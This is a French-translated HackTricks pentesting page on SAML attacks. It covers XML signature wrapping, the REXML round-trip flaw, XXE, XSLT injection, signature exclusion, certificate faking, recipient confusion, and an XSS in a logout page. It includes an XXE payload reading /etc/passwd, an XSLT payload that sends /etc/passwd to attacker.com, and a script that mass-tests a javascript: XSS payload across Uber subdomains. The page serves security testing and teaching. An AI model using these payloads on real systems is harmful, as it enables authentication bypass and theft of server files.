Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/saml-attacks
History
Translator c905035a52 Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente
2024-01-10 17:09:46 +00:00
..
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:37:39 +00:00
saml-basics.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:09:46 +00:00

README.md

Attaques SAML

Attaques SAML

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Informations de base

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Graphique des attaques

Outil

SAMLExtractor : Un outil qui peut prendre une URL ou une liste d'URL et renvoie l'URL de consommation SAML.

Aller-retour XML

Dans XML, la partie signée du XML est sauvegardée en mémoire, puis un encodage/décodage est effectué et la signature est vérifiée. Idéalement, cet encodage/décodage ne devrait pas modifier les données mais, dans ce scénario, les données vérifiées et les données originales pourraient ne pas être les mêmes.

Par exemple, vérifiez le code suivant :

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

L'exécution du programme avec REXML 3.2.4 ou une version antérieure donnerait plutôt la sortie suivante :

First child in original doc: Y
First child after round-trip: Z

Voici comment REXML a vu le document XML original à partir du programme ci-dessus :

Et voici comment il l'a vu après un cycle de parsing et de sérialisation :

Pour plus d'informations sur la vulnérabilité et comment l'exploiter :

Attaques par Enveloppement de Signature XML

Les documents XML contenant des Signatures XML sont typiquement traités en deux étapes indépendantes : validation de la signature et invocation de fonction (logique métier). Si les deux modules ont des visions différentes des données, une nouvelle classe de vulnérabilités nommée attaques par Enveloppement de Signature XML (XSW) existe.
Dans ces attaques, l'adversaire modifie la structure du message en injectant des éléments falsifiés qui n'invalident pas la Signature XML. Le but de cette altération est de changer le message de telle manière que la logique de l'application et le module de vérification de la signature utilisent différentes parties du message. Par conséquent, le récepteur vérifie la Signature XML avec succès mais la logique de l'application traite l'élément frauduleux. L'attaquant contourne ainsi la protection de l'intégrité et l'authentification de l'origine de la Signature XML et peut injecter un contenu arbitraire.

Depuis la requête SAML :

XSW #1

Un attaquant peut ajouter un nouvel élément racine où la signature se trouve. Ainsi, lorsque le validateur vérifie l'intégrité de la signature, il peut noter qu'il a vérifié l'intégrité de Response -> Assertion -> Subject, et il pourrait se confondre avec le chemin malveillant Response -> Assertion -> Subject en rouge et utiliser ses données.

XSW #2

La différence avec le #1 est que le type de Signature utilisé est une signature détachée où XSW #1 utilisait une signature enveloppante.
Notez comment la nouvelle structure malveillante est la même qu'avant, essayant de confondre la logique métier après que le contrôle d'intégrité a été effectué.

XSW #3

Dans cette attaque, une Assertion malveillante est créée au même niveau que l'assertion originale pour essayer de confondre la logique métier et utiliser les données malveillantes.

XSW #4

XSW #4 est similaire à #3, sauf que dans ce cas, l'Assertion originale devient un enfant de l'Assertion copiée.

XSW #5

Dans XSW #5, la Signature et l'Assertion originale ne sont pas dans l'une des trois configurations standard (enveloppée/enveloppante/détachée). Dans ce cas, l'Assertion copiée enveloppe la Signature.

XSW #6

XSW #6 insère son Assertion copiée au même emplacement que les numéros 4 et 5. La particularité ici est que l'Assertion copiée enveloppe la Signature, qui à son tour enveloppe l'Assertion originale.

XSW #7

XSW #7 insère un élément Extensions et ajoute l'Assertion copiée comme enfant. Extensions est un élément XML valide avec une définition de schéma moins restrictive. Les auteurs de ce livre blanc ont développé cette méthode en réponse à la bibliothèque OpenSAML. OpenSAML utilisait la validation de schéma pour comparer correctement l'ID utilisé pendant la validation de la signature à l'ID de l'Assertion traitée. Les auteurs ont trouvé que dans les cas où des Assertions copiées avec le même ID que l'Assertion originale étaient enfants d'un élément avec une définition de schéma moins restrictive, ils pouvaient contourner cette contre-mesure particulière.

XSW #8

XSW #8 utilise un autre élément XML moins restrictif pour effectuer une variation du modèle d'attaque utilisé dans XSW #7. Cette fois, l'Assertion originale est l'enfant de l'élément moins restrictif au lieu de l'Assertion copiée.

Outil

Vous pouvez utiliser l'extension Burp SAML Raider pour analyser la requête, appliquer l'attaque XSW de votre choix et la lancer.

Article Original

Pour plus d'informations sur cette attaque, lisez l'article original sur https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf

XXE

Si vous ne savez pas quels types d'attaques sont les XXE, veuillez lire la page suivante :

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

Étant donné que les Réponses SAML sont des documents XML décompressés et encodés en base64, nous pouvons tester les XXE en manipulant le document XML envoyé comme Réponse SAML. Exemple :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Outil

Vous pouvez également utiliser l'extension Burp SAML Raider pour générer le POC à partir d'une requête SAML afin de tester d'éventuelles vulnérabilités XXE.

Consultez également cette conférence : https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Pour plus d'informations sur XSLT, consultez :

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

La transformation de langage de feuilles de style extensible (XSLT) est un langage complet de Turing pour transformer des documents XML en d'autres types de documents tels que HTML, JSON ou PDF. Un aspect important à noter ici est que l'attaque ne nécessite pas une signature valide pour réussir. La raison en est que la transformation XSLT se produit avant que la signature numérique ne soit traitée pour vérification. En gros, nous avons besoin d'une réponse SAML signée pour réaliser l'attaque, mais la signature peut être auto-signée ou invalide.

xslt

Ici, vous pouvez trouver un POC pour vérifier ce type de vulnérabilités, sur la page hacktricks mentionnée au début de cette section, vous pouvez trouver des payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Outil

Vous pouvez également utiliser l'extension Burp SAML Raider pour générer le POC à partir d'une requête SAML pour tester d'éventuelles vulnérabilités XSLT.

Consultez également cette conférence : https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusion de Signature XML

L'Exclusion de Signature est utilisée pour tester le comportement de l'implémentation SAML lorsqu'il n'y a pas d'élément Signature. Lorsqu'un élément Signature est absent, l'étape de validation de la signature peut être entièrement omise. Si la Signature n'est pas validée, alors tout contenu qui serait typiquement signé peut être altéré par un attaquant.

Outil

L'exclusion de signature commence par intercepter la réponse SAML puis en cliquant sur Remove Signatures. Ce faisant, tous les éléments Signature sont supprimés.

sig-exclusion

Avec les signatures supprimées, laissez la requête se poursuivre vers la cible. Si la Signature n'est pas requise par le Service

Falsification de Certificat

La falsification de certificat est le processus de test pour déterminer si le Fournisseur de Service vérifie qu'un Fournisseur d'Identité de confiance a signé le Message SAML. La relation de confiance entre le SP et l'IdP est établie et doit être vérifiée à chaque réception d'un Message SAML. Cela revient à utiliser un certificat auto-signé pour signer la Réponse SAML ou l'Assertion.

Outil

L'extension Burp SAML Raider sera utilisée.
Pour falsifier un certificat, commencez par intercepter la réponse SAML.
S'il y a une Signature incluse dans la Réponse, utilisez le bouton Send Certificate to SAML Raider Certs.

send-cert

Après avoir envoyé le certificat, nous devrions voir un certificat importé dans l'onglet Certificats de SAML Raider. Une fois là, nous mettons en surbrillance le certificat importé et appuyons sur le bouton Save and Self-Sign.

sent-cert

Cela génère un clone auto-signé du certificat original. Il est maintenant temps de revenir à la requête interceptée toujours retenue dans le Proxy de burp. Tout d'abord, sélectionnez le nouveau certificat auto-signé dans le menu déroulant Signature XML. Ensuite, utilisez le bouton Remove Signatures pour supprimer toutes les signatures existantes. Enfin, utilisez le bouton (Re-)Sign Message ou (Re-)Sign Assertion (selon ce qui est plus approprié dans votre situation donnée).

remove-sig

Après avoir signé le message avec le certificat auto-signé, envoyez-le. Si nous nous authentifions, nous savons que nous pouvons signer nos Messages SAML. La capacité de signer nos Messages SAML signifie que nous pouvons modifier les valeurs dans l'Assertion et elles seront acceptées par le Fournisseur de Service.

Confusion du Destinataire du Token / Confusion de la Cible du Fournisseur de Service

La Confusion du Destinataire du Token / Confusion de la Cible du Fournisseur de Service teste si le Fournisseur de Service valide le Destinataire. Cela signifie que si la réponse était destinée à un autre Fournisseur de Service, le Fournisseur de Service actuel devrait le remarquer et rejeter l'authentification.
Le champ Recipient est un attribut de l'élément SubjectConfirmationData, qui est un enfant de l'élément Subject dans une réponse SAML.

L'élément SubjectConfirmationData spécifie des données supplémentaires qui permettent de confirmer le sujet ou de contraindre les circonstances dans lesquelles l'acte de confirmation du sujet peut avoir lieu. La confirmation du sujet a lieu lorsqu'une partie se fiant cherche à vérifier la relation entre une entité présentant l'assertion (c'est-à-dire l'entité attestante) et le sujet des revendications de l'assertion.

L'attribut Recipient trouvé sur l'élément SubjectConfirmationData est une URL qui spécifie l'emplacement auquel l'Assertion doit être livrée. Si le Recipient est un Fournisseur de Service différent de celui qui le reçoit, l'Assertion ne devrait pas être acceptée.

Comment faire

La Confusion du Destinataire du Token SAML (SAML-TRC) a quelques conditions préalables pour que nous puissions tenter l'exploitation. Tout d'abord, nous devons avoir un compte légitime sur un Fournisseur de Service. Deuxièmement, SP-Target doit accepter les tokens émis par le même Fournisseur d'Identité qui sert SP-Legit.

L'attaque est relativement simple si les conditions sont vraies. Nous nous authentifions auprès de SP-Legit via le Fournisseur d'Identité partagé. Nous interceptons ensuite la réponse SAML en cours de route de l'IdP à SP-Legit. Une fois interceptée, nous envoyons la réponse SAML qui était destinée à SP-Legit à SP-Target à la place. Si SP-Target accepte l'Assertion ; nous nous retrouverons connectés avec le même nom de compte que nous avons pour SP-Legit et obtiendrons l'accès aux ressources correspondantes de SP-Target.

XSS dans la fonctionnalité de déconnexion

(Accédez à la recherche originale ici)

Après avoir effectué le brute forcing de répertoire, j'ai trouvé la page suivante :

https://carbon-prototype.uberinternal.com:443/oidauth/logout

C'est une page de déconnexion, j'ai ouvert le lien ci-dessus et cela m'a redirigé vers la page suivante

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Le paramètre de base prend une URL, alors que diriez-vous de le remplacer par le vieux classique javascript:alert(123); pour déclencher une XSS.

Exploitation de masse

En utilisant SAMLExtractor qui peut prendre une liste d'URLs et ensuite vous renvoyer l'URL de callback (consommation SAML), j'ai décidé de nourrir l'outil avec tous les sous-domaines de uberinternal.com pour voir s'il y avait d'autres domaines utilisant la même bibliothèque, et c'était le cas.

Ce que j'ai fait ensuite, c'était de créer un script qui appelle la page vulnérable oidauth/prompt et essaie la XSS et si ma saisie est reflétée, il me donne un joli message indiquant une vulnérabilité.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Références

Les attaques ont été obtenues à partir de https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
Vous pouvez trouver des ressources supplémentaires et des comptes-rendus dans https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :